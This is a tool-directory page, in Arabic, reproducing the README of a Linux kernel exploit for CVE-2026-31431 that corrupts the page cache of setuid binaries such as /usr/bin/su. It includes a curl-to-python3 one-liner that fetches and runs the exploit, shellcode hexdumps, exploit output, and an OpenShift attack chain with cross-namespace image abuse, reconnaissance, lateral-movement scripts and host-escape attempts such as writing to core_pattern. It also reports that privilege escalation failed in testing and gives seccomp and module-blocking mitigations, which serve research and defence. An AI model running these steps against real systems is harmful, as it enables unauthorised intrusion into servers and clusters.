Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-31431 — استغلال لثغرة CVE-2026-31431 في نواة لينكس تسبب تلفًا في ذاكرة التخزين المؤقت للصفحات عبر التلاعب بـ authencesn AEAD، مستهدفةً تصعيد الامتيازات في الحاويات وبيئات OpenShift. | Kitploit
أدوات/GitHubGitHub/seanrickerd/cve-2026-31431
أمن البنية التحتية السحابيةتصعيد الامتيازاتأمن الحاوياتأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالاستغلال الملفات الثنائية
GitHubseanrickerd/cve-2026-31431

cve-2026-31431

استغلال لثغرة CVE-2026-31431 في نواة لينكس تسبب تلفًا في ذاكرة التخزين المؤقت للصفحات عبر التلاعب بـ authencesn AEAD، مستهدفةً تصعيد الامتيازات في الحاويات وبيئات OpenShift.

عرض المستودع
125منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-31431 "Copy Fail" - ثغرة تلف ذاكرة التخزين المؤقت للصفحات

تلف ذاكرة التخزين المؤقت للصفحات في نواة لينكس عبر معالجة authencesn AEAD.

⚠️ مهم: تحديث حالة الاستغلال (1 مايو 2026)

بعد اختبارات مكثفة على مجموعات متعددة من OpenShift 4.20.16 مع أنوية RHEL 9.6:

  • ✅ تلف ذاكرة التخزين المؤقت للصفحات: مؤكد - تم حقن كود شل بحجم 160 بايت بنجاح
  • ✅ ثغرة النواة: قابلة للاستغلال من حاويات غير مميزة (بدون صلاحيات)
  • ❌ تصعيد الامتيازات: لم يتحقق - يبقى UID دون تغيير رغم تلف ذاكرة التخزين المؤقت
  • ❌ تنفيذ الكود: لم يُلاحظ - الصفحات المعدلة تظهر في القراءات لكنها لا تُنفَّذ
  • ✅ SCC Restricted-v2: فعّال - يمنع الهروب من الحاوية ويحد من نطاق الانفجار

راجع قسم نتائج الاختبار الشاملة للحصول على التفاصيل الكاملة.


نظرة عامة

CVE-2026-31431 هي ثغرة في نواة لينكس في تطبيق التشفير authencesn AEAD تسمح للعمليات غير المميزة بتلف ذاكرة التخزين المؤقت للصفحات للملفات القابلة للقراءة عبر مقابس AF_ALG ومعالجة استدعاء النظام splice().

تُظهر الاختبارات: تلف ذاكرة التخزين المؤقت للصفحات يعمل بشكل موثوق، لكن تصعيد الامتيازات لا يحدث على أنوية RHEL 9.6 في بيئات الاختبار لدينا.

درجة CVSS: 7.8 (عالية)
المتأثر: إصدارات نواة لينكس مع دعم authencesn (2017-2026) 29 أبريل 2026


الإفصاح العام:

الميزات

  • متوافق مع Python 3.9+: يتضمن غلاف استدعاء النظام splice() عبر ctypes
  • قابل للنقل: يعمل على أي نظام لينكس بنواة قابلة للاستغلال
  • موثوق: لا يتطلب شروط سباق
  • نظيف: كود شل بحجم 160 بايت، استغلال حتمي

المتطلبات

  • نواة لينكس مع تطبيق authencesn القابل للاستغلال (قبل تصحيح أبريل 2026)
  • Python 3.9+
  • وصول مستخدم غير مميز
  • ملف setuid قابل للقراءة (الافتراضي: /usr/bin/su)

الاستخدام

الاستخدام الأساسي```bash

curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su

root@kitploit:~
### من ملف محلي```bash
python3 exploit.py
su

السلوك الفعلي للاستغلال (بناءً على الاختبار)

ما الذي سيحدث:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation

[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!

[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)

root@kitploit:~
**التحقق من ذاكرة التخزين المؤقت للصفحات (يؤكد التلف):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

ما الذي لن يحدث (بناءً على الاختبارات):```bash

Executing the backdoored su

su

Password: [press Enter]

Check UID

id -u

Result: 1000810000 (UNCHANGED - still unprivileged user)

NOT this (does NOT occur in testing):

# whoami

root ← This does NOT happen

root@kitploit:~
**الخلاصة:** نجاح تلف ذاكرة التخزين المؤقت للصفحات، لكن فشل تصعيد الامتيازات.

## التفاصيل الفنية

### الثغرة

تنفيذ `authencesn` (التشفير المصادق مع البيانات المرتبطة - رقم التسلسل الموسع) في نواة لينكس يحتوي على خلل في معالجة العمليات في المكان (in-place). عند معالجة عمليات AEAD المُرسلة عبر مقبس AF_ALG، يمكن أن تنتهي صفحة من ذاكرة التخزين المؤقت للصفحات في قائمة التشتت (scatterlist) القابلة للكتابة الخاصة بالنواة.

### تقنية الاستغلال

1. **إنشاء مقبس AF_ALG** مع `authencesn(hmac(sha256),cbc(aes))`
2. **تكوين معاملات AEAD** (المفتاح، حجم المصادقة)
3. **فتح ملف ثنائي setuid مستهدف** (مثل `/usr/bin/su`)
4. **استخدام splice()** لإدخال الملف الثنائي إلى ذاكرة التخزين المؤقت للصفحات
5. **تشغيل عملية AEAD في المكان** مما يسبب الكتابة إلى ذاكرة التخزين المؤقت للصفحات
6. **كتابة الشيلكود** 4 بايتات في كل مرة
7. **تنفيذ الملف الثنائي المعدل** للحصول على صلاحيات الجذر

### الشيلكود

يستخدم الاستغلال شيلكود بحجم 160 بايت يقوم بتعديل `/usr/bin/su` من أجل:
- تخطي مصادقة كلمة المرور
- منح وصول إلى شل بصلاحيات الجذر
- الحفاظ على الوظائف الطبيعية للمستخدمين غير المميزين

## التوافق مع بايثون 3.9

لا تتوفر دالة `os.splice()` في المكتبة القياسية لبايثون 3.9 والإصدارات الأقدم. يتضمن هذا الاستغلال تنفيذًا قائمًا على ctypes:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

هذا يجعل الاستغلال يعمل على:

  • ✅ بايثون 3.9 (RHEL 9، Ubuntu 20.04، وغيرها)
  • ✅ بايثون 3.10+
  • ✅ أي إصدار بايثون يدعم ctypes

نتائج الاختبار الشاملة

بيئة الاختبار 1: مجموعة OpenShift 4.20.16 (الاختبار الأول)

تكوين العقدة:

  • النواة: 5.14.0-570.96.1.el9_6.x86_64 (RHEL CoreOS 9.6)
  • OpenShift: 4.20.16
  • SCC: restricted-v2 (الأكثر تقييدًا)
  • UID: 1000830000 (مساحة اسم المستخدم)
  • الصلاحيات: 0x0000000000000000 (صفر)

نتائج الاختبار:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)

root@kitploit:~
### بيئة الاختبار 2: مجموعة OpenShift جديدة (اختبار التحقق)

**المجموعة:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**تكوين العقدة:**
- النواة: 5.14.0-570.96.1.el9_6.x86_64 (مطابقة لاختبار 1)
- OpenShift: 4.20.16  
- SCC: restricted-v2 (تم التحقق)
- UID: 1000810000 (مساحة اسم المستخدم)
- القدرات: 0x0000000000000000 (صفر)

**نتائج الاختبار:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

الاتساق: نتائج قابلة لإعادة الإنتاج بنسبة 100% عبر مجموعات مستقلة

اختبار الهروب من الحاوية

السيناريو أ: مع وحدة تخزين hostPath (الهروب من الحاوية ممكن)```yaml volumes:

  • name: host-usr hostPath: path: /usr
root@kitploit:~
نتيجة: ✅ **هروب الحاوية** - يعدّل ذاكرة التخزين المؤقت لصفحات المضيف (الجهاز 33، العقدة 4288)

**السيناريو ب: Restricted-v2 SCC (بدون hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

النتيجة: ❌ لا يوجد هروب من الحاوية - يؤثر فقط على طبقة الحاوية (inode منفصل)

النتيجة الحاسمة: الوصول إلى hostPath (وليس الصلاحيات) هو العامل المحدد للهروب من الحاوية.

لماذا يفشل تصعيد الصلاحيات

التفسيرات المحتملة (تتطلب مزيدًا من البحث):

  1. مسارات القراءة مقابل التنفيذ

    • تلف ذاكرة التخزين المؤقت للصفحات يؤثر على عمليات mmap(PROT_READ)
    • تعيينات التنفيذ mmap(PROT_EXEC) قد تتجاوز ذاكرة التخزين المؤقت التالفة
    • قد تستخدم النواة مسارات كود مختلفة للصفحات القابلة للتنفيذ
  2. حمايات الذاكرة

    • فرض W^X (الكتابة XOR التنفيذ)
    • التحقق من صحة صفحات النواة القابلة للتنفيذ
    • فحوصات سلامة الكود في SELinux/AppArmor
  3. خاص بإصدار النواة

    • قد يحتوي RHEL 9.6 (5.14.0-570.96.1) على حمايات إضافية
    • قد يكون البحث الأصلي لـ CVE قد استخدم إصدارات نواة مختلفة
    • قد يختلف السلوك عبر إصدارات النواة

ما يعمل فعليًا

الاختبارOpenShift 4.20 #1OpenShift 4.20 #2الحالة
الوصول إلى مقبس AF_ALG✅✅يعمل
تلف ذاكرة التخزين المؤقت للصفحات✅✅يعمل
حقن شيلكود✅✅يعمل
الشيلكود مرئي (READ)✅✅يعمل
تغيير UID (تصعيد الصلاحيات)❌❌يفشل
تنفيذ الكود❌❌يفشل
الهروب من الحاوية (restricted-v2)❌❌محظور

الخلاصة: ثغرة النواة حقيقية (تم إثبات تلف ذاكرة التخزين المؤقت للصفحات)، لكن الاستغلال العملي محدود.

الأنظمة المختبرة

النظامالنواةتلف ذاكرة التخزين المؤقت للصفحاتتصعيد الصلاحياتملاحظات
RHEL CoreOS 9.65.14.0-570.96.1.el9_6✅ نعم❌ لاعمال OpenShift 4.20.16
حاويات OpenShift 4.205.14.0-570.96.1.el9_6✅ نعم❌ لاSCC restricted-v2

ملاحظة: الاختبار مقتصر على نواة RHEL 9.6. لم يتم التحقق من السلوك على التوزيعات/الإصدارات الأخرى.

اختبار حاويات OpenShift

تم الاختبار بنجاح على مجموعة OpenShift 4.20 التي تعمل بنظام RHEL CoreOS 9.4. يوثق هذا القسم تجاوز عزل مساحة الاسم واختراق الحاوية.

⚠️ تصحيح مهم: الادعاء الأولي في الاختبار بأن الوصول إلى نظام ملفات المضيف عبر /proc/1/root كان غير صحيح - ففي حاوية معزولة، يشير /proc/1/root إلى نظام ملفات الحاوية نفسها، وليس إلى مضيف عقدة عمل OpenShift. راجع attacks/README.md للتحليل التفصيلي.

ملخص سلسلة الهجوم```

Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts

root@kitploit:~
### المرحلة 1: تجاوز عزل مساحة الأسماء

**الثغرة:** يسمح السجل الداخلي لـ OpenShift بسحب الصور عبر مساحات الأسماء دون فرض مناسب لـ RBAC.

**الاستغلال:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications

# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack-demo
  namespace: user-srickerd
spec:
  containers:
  - name: stolen-tools
    image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
    command: ["sleep", "3600"]
EOF

oc apply -f attack-demo.yaml

النتيجة:

  • ✅ تم سحب صورة openshift/cli من مساحة أسماء openshift
  • ✅ تم الحصول على وصول إلى oc وkubectl وcurl وopenssl وPython 3.9
  • ✅ تم تجاوز عزل مساحة الأسماء

الأثر: يسمح بالحركة الجانبية بين المستأجرين والوصول إلى أدوات مميزة.

المرحلة 2: استغلال النواة داخل الحاوية

النشر:```bash

Execute exploit in attack pod

oc exec -n user-srickerd attack-demo -- bash -c " curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 && su "

root@kitploit:~
**النتيجة:**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
    Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...

القدرات بعد الاستغلال:

  • ✅ نجاح تلف ذاكرة التخزين المؤقت للصفحات (كود شيل 160 بايت مرئي)
  • ⚠️ لا تصعيد صلاحيات - يبقى UID دون تغيير (UID في مساحة أسماء المستخدم)
  • ✅ يمكن تلف ملفات الحاوية في ذاكرة التخزين المؤقت للصفحات (عمليات القراءة متأثرة)
  • ✅ وصول إلى الشبكة (خادم API، السجل، الإنترنت)
  • ❌ لا وصول جذر فعلي رغم الادعاءات
  • ❌ لا قدرات (جميع CapPrm/CapEff = 0x0000000000000000)
  • ❌ لا يزال في مساحات أسماء معزولة (PID/التركيب/المستخدم)
  • ❌ لا وصول إلى نظام ملفات المضيف لعقدة العامل
  • ❌ لا رؤية لعمليات المضيف

المرحلة 3: تحليل بيئة الحاوية

فحص الواقع - /proc/1/root ليس المضيف:```bash

These point to the SAME filesystem (container's own root)

stat -c '%i' /tmp/test.txt

136358432

stat -c '%i' /proc/1/root/tmp/test.txt

136358432 ← IDENTICAL inode = same file

Proof they're in same namespace

readlink /proc/self/ns/mnt readlink /proc/1/ns/mnt

Both return: mnt:[4026535423] ← SAME namespace

root@kitploit:~
**تفاصيل نظام تشغيل الحاوية:**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)

المرحلة 4: الاستطلاع الشبكي من داخل الحاوية

البرامج النصية المُنشأة داخل الحاوية (متوفرة في دليل attacks/):

1. استطلاع الحاوية (recon.sh - 1425 بايت)

  • تعداد بيئة الحاوية
  • إعدادات الشبكة من منظور البود (Pod)
  • العمليات الجارية (داخل الحاوية فقط، وليس المضيف)
  • محاولات اكتشاف خدمات Kubernetes/OpenShift
  • الواقع: يرى بيئة الحاوية الخاصة بها فقط

2. برنامج الحركة الجانبية (lateral.sh - 1754 بايت)

  • فحص الشبكة من عنوان IP الخاص بالبود (نطاق 10.130.x.x)
  • اختبارات الاتصال بخادم API
  • محاولات اكتشاف الخدمات
  • الواقع: محدود بمنظور شبكة البود، لا يوجد وصول إلى المضيف

3. محاولات استغلال المضيف الفاشلة

  • host-rootkit.py - محاولة زرع باب خلفي في /proc/1/root/usr/bin/su
    • النتيجة: يزرع الباب الخلفي في su الخاص بالحاوية فقط، وليس su الخاص بالمضيف
  • modprobe-escape.py - محاولة الهروب عبر وحدة kernel
    • النتيجة: تم حظره بواسطة نظام ملفات /proc للقراءة فقط
  • trigger-rootkit.sh - تشغيل su المُخترق
    • النتيجة: الحصول على صلاحيات root داخل الحاوية (نفس الاستغلال الأساسي)

راجع attacks/README.md للتحليل الكامل لما نجح مقابل ما لم ينجح.

القدرات الشبكية من البود

اختبار الاتصال:```bash

Pod IP: 10.130.16.37

Kubernetes API

curl -k https://kubernetes.default.svc:443/healthz

Result: ok ✅

External Internet

curl -s https://www.google.com

Result: Connected ✅

Internal Registry

curl -k https://image-registry.openshift-image-registry.svc:5000/

Result: Accessible ✅

root@kitploit:~
**فرص الحركة الجانبية:**
- ✅ وصول كامل إلى الإنترنت (تنزيل الأدوات، اتصال C2، استخراج البيانات)
- ✅ وصول إلى واجهات API الداخلية (تعداد موارد المجموعة)
- ✅ وصول إلى السجل الداخلي (هجمات تسميم الصور)
- ✅ فحص عبر العقد عبر شبكة البودات

### تقنيات الهروب من المضيف المحظورة

تمت محاولة هذه التقنيات ولكن تم حظرها بواسطة ضوابط أمان OpenShift:

**1. nsenter (يمنعه User namespace)**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted

2. chroot (يتطلب CAP_SYS_CHROOT)```bash chroot /proc/1/root /bin/bash

Error: cannot change root directory: Operation not permitted

root@kitploit:~
**3. تحميل وحدات النواة (بدون صلاحيات + تعزيز RHCOS)**
- لا توجد ثنائيات `insmod` أو `modprobe` أو `kmod` على RHCOS
- `/lib/modules` فارغ (نظام تشغيل محسّن للحاويات)
- `CAP_SYS_MODULE` غير متاح
- `/proc/sys/kernel/modprobe` مُثبّت للقراءة فقط

**4. cgroup release_agent (مُثبّت للقراءة فقط)**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)

5. معالجة /proc/sys (نظام ملفات للقراءة فقط)```bash echo "/tmp/evil.sh" > /proc/sys/kernel/core_pattern

Error: Read-only file system

root@kitploit:~
### ما الذي حققناه فعليًا

✅ **تجاوز عزل مساحات الأسماء (Namespace Isolation Bypass)**
- سحب صور عبر مساحات أسماء مختلفة من السجل الداخلي
- الوصول إلى صور الحاويات المميزة (openshift/cli)

✅ **تلف ذاكرة التخزين المؤقت للصفحات داخل الحاوية**
- تعديل ذاكرة التخزين المؤقت للصفحات لملف `/usr/bin/su` في الحاوية عبر CVE-2026-31431
- تأكيد حقن شيفرة بحجم 160 بايت (ظاهرة في hexdump)
- يؤثر التلف على عمليات القراءة لملفات الحاوية

✅ **الوصول إلى الشبكة من البود (Pod)**
- اتصال إنترنت كامل (نقل البيانات، C2، تنزيل الأدوات)
- الوصول إلى خادم API الداخلي (محدود بواسطة RBAC)
- الوصول إلى السجل الداخلي (إمكانية تسميم الصور)
- فحص عبر البودات عبر شبكة البود

❌ **تصعيد الامتيازات - فشل**
- ذاكرة التخزين المؤقت للصفحات تالفة ولكن لم يتم تحقيق وصول الجذر (root)
- يبقى UID دون تغيير (UID مساحة اسم المستخدم ~1000000+)
- لا يمكن تنفيذ عمليات مميزة
- لا وصول إلى /etc/shadow أو ملفات مقيدة أخرى

❌ **الوصول إلى نظام ملفات المضيف - فشل**
- `/proc/1/root` يشير إلى جذر **الحاوية**، وليس المضيف
- لا وصول فعلي إلى نظام ملفات عقدة عمل OpenShift
- تُنشر البرامج النصية إلى `/tmp` الخاص بالحاوية، وليس `/tmp` الخاص بالمضيف
- عزل الأجهزة/العقد (Inode) يمنع الوصول إلى ذاكرة التخزين المؤقت للصفحات على المضيف

❌ **الهروب الكامل من المضيف - محظور**
- عزل مساحة اسم المستخدم فعّال
- صفر قدرات (capabilities) يمنع nsenter/chroot/الوصول إلى المضيف
- SCC يمنع إنشاء البودات المميزة
- تحصين RHCOS يمنع تحميل الوحدات
- restricted-v2 يمنع الهروب من الحاوية

### تقييم أمان OpenShift

**الضوابط التي عملت ✅**
- قيود سياق الأمان (SCC) - منعت الهروب من الحاوية
- مساحات أسماء المستخدم - عزلت ذاكرة التخزين المؤقت للصفحات إلى طبقة الحاوية
- صفر قدرات - منع الوصول إلى المضيف رغم استغلال النواة
- فرض SELinux - الحفاظ على عزل الحاوية
- /proc/sys للقراءة فقط - حظر محاولات التلاعب بالنواة
- تحصين RHCOS - لا قدرة على تحميل الوحدات

**الضوابط التي عملت جزئيًا ⚠️**
- Seccomp RuntimeDefault - نشط ولكنه يسمح بمقابس AF_ALG
- إسقاط القدرات - فعّال ولكنه لا يمنع تلف ذاكرة التخزين المؤقت للصفحات

**الضوابط التي فشلت ❌**
- RBAC لمساحات الأسماء - سحب الصور عبر مساحات الأسماء مسموح به
- حماية النواة - واجهة AF_ALG قابلة للوصول من الحاويات
- تصفية استدعاءات النظام - splice() غير مقيد بواسطة seccomp الافتراضي

**التقييم العام:**
بينما تُعد CVE-2026-31431 ثغرة حقيقية في النواة، فإن نهج الدفاع المتعمق في OpenShift (SCC + مساحات أسماء المستخدم + إسقاط القدرات + عزل نظام الملفات) منع الاستغلال الفعّال. يُتلف الاستغلال ذاكرة التخزين المؤقت للصفحات ولكنه لا يحقق أي تصعيد امتيازات أو هروب من الحاوية من بودات restricted-v2.

### توصيات لـ OpenShift

**1. حظر مقابس AF_ALG**```yaml
securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: profiles/no-af-alg.json

2. فرض RBAC لسجل الصور```bash

Require explicit permissions for cross-namespace image pulls

oc policy add-role-to-user system:image-puller
--namespace=

root@kitploit:~
**3. ملف تعريف Seccomp محسّن**
حظر استدعاءات النظام الخطيرة:
- `socket(AF_ALG, ...)` - العائلة 38
- تقييد `splice()` على واصفات الملفات الموثوقة
- حظر `init_module` و `finit_module` إذا لم تكن محظورة بالفعل

**4. مراقبة وقت التشغيل**
تنبيه عند:
- إنشاء مقبس AF_ALG في الحاويات
- سحب الصور عبر مساحات الأسماء
- أنماط استدعاءات `splice()` المشبوهة
- مؤشرات اختراق الحاويات (عمليات جذر غير متوقعة)

### توثيق الهجوم الكامل

للحصول على توثيق كامل لسلسلة الهجوم بما في ذلك:
- الجدول الزمني للاستغلال
- تعيينات MITRE ATT&CK
- تحليل تقني مفصل
- جميع نصوص الاستطلاع

انظر:
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** - تحليل مفصل لما نجح مقابل ما لم ينجح
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** - التوثيق الأصلي (يحتوي على أخطاء، راجع attacks/README.md للتصحيحات)

## التخفيفات

### فورية```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead

مرشح Seccomp

منع إنشاء مقبس AF_ALG:```json { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}] }] }

root@kitploit:~
### تصحيح النواة

قم بتطبيق تصحيحات البائع:
- Red Hat: تابع https://access.redhat.com/security/cve/cve-2026-31431
- Ubuntu: `apt update && apt upgrade linux-image-*`
- المنبع: النواة 6.x+ مع إعادة authencesn إلى عمليات خارج المكان

## الأسئلة الشائعة

### س: هل يمنحني هذا الاستغلال صلاحيات الجذر؟

**ج:** لا - بناءً على اختبارات مكثفة على نواة RHEL 9.6 (5.14.0-570.96.1)، ينجح الاستغلال في إتلاف ذاكرة التخزين المؤقت لصفحات النواة ولكنه لا يحقق تصعيد الصلاحيات. يبقى UID دون تغيير بعد تنفيذ الثنائي المخترق.

### س: هل يمكنني الهروب من حاوية Kubernetes/OpenShift مقيدة؟

**ج:** لا (مع SCC restricted-v2) - إتلاف ذاكرة التخزين المؤقت للصفحات معزول داخل نظام ملفات overlay الخاص بالحاوية. يتطلب الهروب من الحاوية الوصول إلى موارد المضيف المشتركة عبر hostPath أو وحدات تخزين مماثلة. يمنع SCC restricted-v2 الهروب بشكل فعال عن طريق حظر الوصول إلى موارد المضيف.

### س: لماذا يدّعي الاستغلال "الجذر" لكن الاختبارات تُظهر أنه لا يعمل؟

**ج:** كُتب كود الاستغلال بناءً على إفصاح CVE والتحليل النظري. كشفت اختباراتنا الواقعية على نواة RHEL 9.6 ما يلي:
- إتلاف ذاكرة التخزين المؤقت للصفحات يعمل ✅ (مُثبت عبر hexdump)
- تنفيذ الكود من الذاكرة المؤقتة التالفة لا يعمل ❌ (UID دون تغيير)

قد يكون السبب:
- اختلافات إصدار النواة (قد تحتوي RHEL 9.6 على حمايات)
- تطبيق حماية ذاكرة W^X
- مسارات مختلفة لتنفيذ الكود مقابل قراءة الذاكرة

### س: هل يعمل على جميع نواة لينكس؟

**ج:** غير معروف - اقتصر الاختبار على:
- RHEL CoreOS 9.6 (kernel 5.14.0-570.96.1.el9_6.x86_64)
- عقد عمل OpenShift 4.20.16

لم يتم التحقق من السلوك على التوزيعات/إصدارات النواة الأخرى. قد تختلف ظروف بحث CVE الأصلية.

### س: هل يجب أن أقوم بتصحيح أنظمتي على أي حال؟

**ج:** نعم - بالتأكيد. حتى لو لم يتم تحقيق تصعيد الصلاحيات:

1. ثغرة النواة حقيقية (تم تأكيد إتلاف ذاكرة التخزين المؤقت للصفحات)
2. قد يختلف السلوك على إصدارات النواة الأخرى
3. مع وحدات تخزين hostPath، الهروب من الحاوية ممكن
4. الدفاع المتعمق يتطلب القضاء على جميع الثغرات
5. قد تكتشف الأبحاث المستقبلية طرقًا لتحقيق تنفيذ الكود

تصحيح النواة إلزامي للأمان.

### س: ما الذي أثبتّه فعليًا في اختباراتك؟

**ج:** أثبتت اختباراتنا الشاملة على مجموعتي OpenShift مستقلتين ما يلي:

✅ **مؤكد:**
- ثغرة النواة CVE-2026-31431 قابلة للاستغلال
- يمكن إتلاف ذاكرة التخزين المؤقت للصفحات من حاويات غير مميزة (بدون capabilities)
- واجهة AF_ALG قابلة للوصول رغم SCC restricted-v2
- حقن شيلكود ينجح (مرئي في hexdump)

❌ **لم يعمل:**
- تصعيد الصلاحيات (UID دون تغيير)
- تنفيذ الكود من ذاكرة التخزين المؤقت التالفة
- الهروب من الحاوية من حاويات restricted-v2
- الوصول إلى نظام ملفات المضيف بدون hostPath

🛡️ **الدفاع المتعمق فعال:**
- منع SCC + مساحات أسماء المستخدمين + إسقاط capabilities الاستغلال
- حدّت طبقات الأمان المتعددة من نطاق الانفجار
- صمد عزل الحاويات رغم ثغرة النواة

## إشعار أمني

يوثق هذا المستودع ثغرة في النواة من أجل:
- ✅ اختبارات وأبحاث أمنية مصرح بها
- ✅ التحقق من الثغرات وتحليلها
- ✅ الوعي الأمني والتعليم
- ✅ تطوير الإجراءات الدفاعية

**النتائج مبنية على:**
- اختبارات خاضعة للرقابة على أنظمة مصرح بها
- بيئات مجموعات مستقلة متعددة
- تحقق شامل واختبارات قابلية إعادة الإنتاج

**لا تستخدم على أنظمة دون إذن صريح.**

## المراجع

- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **الإفصاح:** https://copy.fail
- **تصحيح النواة:** التزام نواة لينكس (1 أبريل 2026)
- **نشرة Red Hat:** https://access.redhat.com/security/cve/cve-2026-31431

## الاعتمادات

- **اكتشاف CVE:** Taeyang Lee (Theori)
- **التحليل الأصلي:** فريق أبحاث Xint Code
- **تنفيذ الاستغلال:** Sean Rickerd
- **الاختبار الشامل والتحقق:** Sean Rickerd
  - مجموعتا OpenShift 4.20.16 مستقلتان
  - نواة RHEL CoreOS 9.6 5.14.0-570.96.1
  - توثيق السلوك الفعلي مقابل المُدّعى
  - التحقق من فعالية SCC restricted-v2

## الترخيص

للاستخدام في الاختبارات والأبحاث الأمنية المصرح بها فقط. استخدم على مسؤوليتك الخاصة.

---

**حالة المستودع:** تم التحديث بنتائج الاختبارات الواقعية (1 مايو 2026)  
**الاختبار:** اكتمل على مجموعتي OpenShift مستقلتين  
**النتيجة الرئيسية:** تأكيد إتلاف ذاكرة التخزين المؤقت للصفحات، دون تحقيق تصعيد الصلاحيات  
**التوصية:** قم بتصحيح النواة رغم محدودية الاستغلال العملي
تنزيل الأداة